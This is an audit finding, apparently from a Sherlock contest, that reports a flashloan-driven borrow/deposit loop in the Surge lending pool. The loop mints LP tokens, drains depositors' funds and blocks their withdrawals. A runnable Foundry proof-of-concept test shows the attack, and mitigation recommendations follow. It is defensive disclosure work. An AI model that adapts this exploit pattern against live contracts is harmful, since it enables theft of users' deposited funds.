CRYP70

high

# Malicious user can leverage flashloans to clean out the vault cuasing a denial of service condition indefinitely

## Summary
The surge lending pool allows for LPs to deposit, withdraw tokens for the purposes of loans as well as adding and removing collateral for the purposes of lending. An attacker can attack the pool by exploiting the mechanics of the borrow and deposit functions in order to cause a pool-wide denial of service causing user funds to permanently disappear. 

## Vulnerability Detail
Because the pool uses the same token (`LOAN_TOKEN`) for the `borrow()` and `deposit()` functions, it is possible for the attacker to take out a flashloan, add collateral to the protocol and continuously call the `borrow()` and `deposit()` function to create free LP tokens. When the amount of LP in the attacker's wallet is equivalent to the `totalSupply()` of LP tokens prior to the attack, the attacker can withdraw the balance of the pool causing users to lose their deposited funds. Note that the victim user(s) will still have their LP balance despite the pool liquidity balance being zero. 

## Impact
As this attack is dependent on the amount of tokens an attacker can get from a flashloan (which is limitless), the ease of exploitation and low cost, in addition to the damage it can do to deposited user funds, this was marked as a High in severity. The proof of concept below outlines this scenario below:

*Proof of Concept:*
```solidity

contract PoolTest is Test {
    Factory factory;

    address alice = vm.addr(1);
    address bob = vm.addr(2);
    address eve = vm.addr(3);

	// Mainnet addresses for scenario setup
    address wethDoner = 0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E;
    address usdcDoner = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
    address daiDoner = 0xb527a981e1d415AF696936B3174f2d7aC8D11369;
    address usdtDoner = 0x0162Cd2BA40E23378Bf0FD41f919E1be075f025F;

    IWETH9 weth = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IUSDT usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);

    function setUp() public {
        factory = new Factory(address(this), "G");

        // Test ETH tokens
        vm.deal(address(alice), 10000 ether);
        vm.deal(address(bob), 500 ether);
        vm.deal(address(eve), 500 ether);

        // Test dai tokens
        vm.startPrank(address(daiDoner));
        dai.transfer(address(alice), 10000 ether);
        dai.transfer(address(eve), 1000 ether);
        dai.transfer(address(bob), 1000 ether);
        vm.stopPrank();

        vm.startPrank(address(usdcDoner));
        usdc.transfer(address(alice), 10000 *1e6);
        usdc.transfer(address(bob), 1000 *1e6);
        vm.stopPrank();

        vm.startPrank(address(usdtDoner));
        usdt.transfer(address(alice), 10000 *1e6);
        usdt.transfer(address(bob), 1000 *1e6);
        vm.stopPrank();

        vm.label(address(alice), "ALICE");
        vm.label(address(bob), "BOB");
        vm.label(address(eve), "EVE");
    }


    function testDosCondition() public {
        //  =========== Setup scenario ===========
        Pool pool = factory.deploySurgePool(
            IERC20(address(usdc)), // Collateral token
            IERC20(address(usdt)), // Deposit token
            1e18,
            0.8e18,
            1e15,
            1e15,
            0.1e18,
            0.4e18,
            0.6e18
        ); // Default values as observed in the unit test

        // Assert starting balances
        assertEq(usdt.balanceOf(address(alice)), 10000 * 1e6);
        assertEq(usdt.balanceOf(address(eve)), 0);


        // =========== Start scenario ===========

        // Victim deposits a substantial amount, 10,000 USDC - Receives 10000000000 LP
        vm.startPrank(address(alice));
        usdt.approve(address(pool), type(uint256).max);
        pool.deposit(10000 * 1e6);
        vm.stopPrank();



        // Eve takes a pretend flashloan of the equivalent value that is currently deposited (collateral token); 
        vm.startPrank(address(usdcDoner));
        usdc.transfer(address(eve), 10000 * 1e6);
        vm.stopPrank();


        vm.startPrank(address(eve));
        usdc.approve(address(pool), type(uint256).max);
        // Eve first add's collateral to be remained locked up to the end of time
        pool.addCollateral(address(eve), 10000 *1e6);

        usdt.approve(address(pool), type(uint256).max);

        uint256 aliceLp = pool.balanceOf(address(alice));
        uint256 eveLp = pool.balanceOf(address(eve));


        // Continuously deposit and withdraw until the attacker's LP balance is the same as the total LP Supply before
        // Note the attacker may take more LP tokens should they wish to
        uint256 poolSupply = pool.totalSupply();
        while(eveLp != poolSupply) {
            pool.borrow(1000 * 1e6);
            pool.deposit(1000 * 1e6);

            eveLp = pool.balanceOf(address(eve));
        }

        // Assert the balance of eve's LP Tokens is equal to the total supply
        assertEq(pool.balanceOf(address(eve)), poolSupply);


        // Finally the attacker withdraws the balance of alice's deposit
        pool.approve(address(pool), type(uint256).max);
        pool.withdraw(10000 *1e6);
        vm.stopPrank();

        // Assert an empty LP vault
        assertEq(usdt.balanceOf(address(pool)), 0);



        // Asserts Alice's remaining LP tokens, she tries to withdraw after witnessing an exploit
        assertEq(pool.balanceOf(address(alice)), 10000 *1e6);

        vm.startPrank(address(alice));
        pool.approve(address(pool), type(uint256).max);

        // Denies Alice the right to withdraw tokens by expecting a revert due to zero 
        // funds in the liquidity pool. 
        vm.expectRevert();
        pool.withdraw(10000 *1e6);
        vm.stopPrank();

        // Assert Eve's balance which she can use to pay back the flash loan
        // Or pocket some profit if there is a price difference in the two tokens
        assertEq(usdt.balanceOf(address(eve)), 10000 * 1e6);

    }
}
```

## Code Snippet
- https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L497
- https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L342

## Tool used
Manual Review

## Recommendation
This could be fixed in a couple of ways:
- Consider editing the borrowing and depositing system to have a cooldown period where if the user executes too many requests at once against functions which use the same tokens, the transaction will revert. 
- As the fees are taken in LP shares, it's recommended that the `_accruedFeeShares` are taken from the user deposited tokens instead of from the shares since a substantial amount of LP can be minted by the user. This will prevent flashloans from being used against the protocol and will create less incentives for the attacker as it becomes too expensive. 


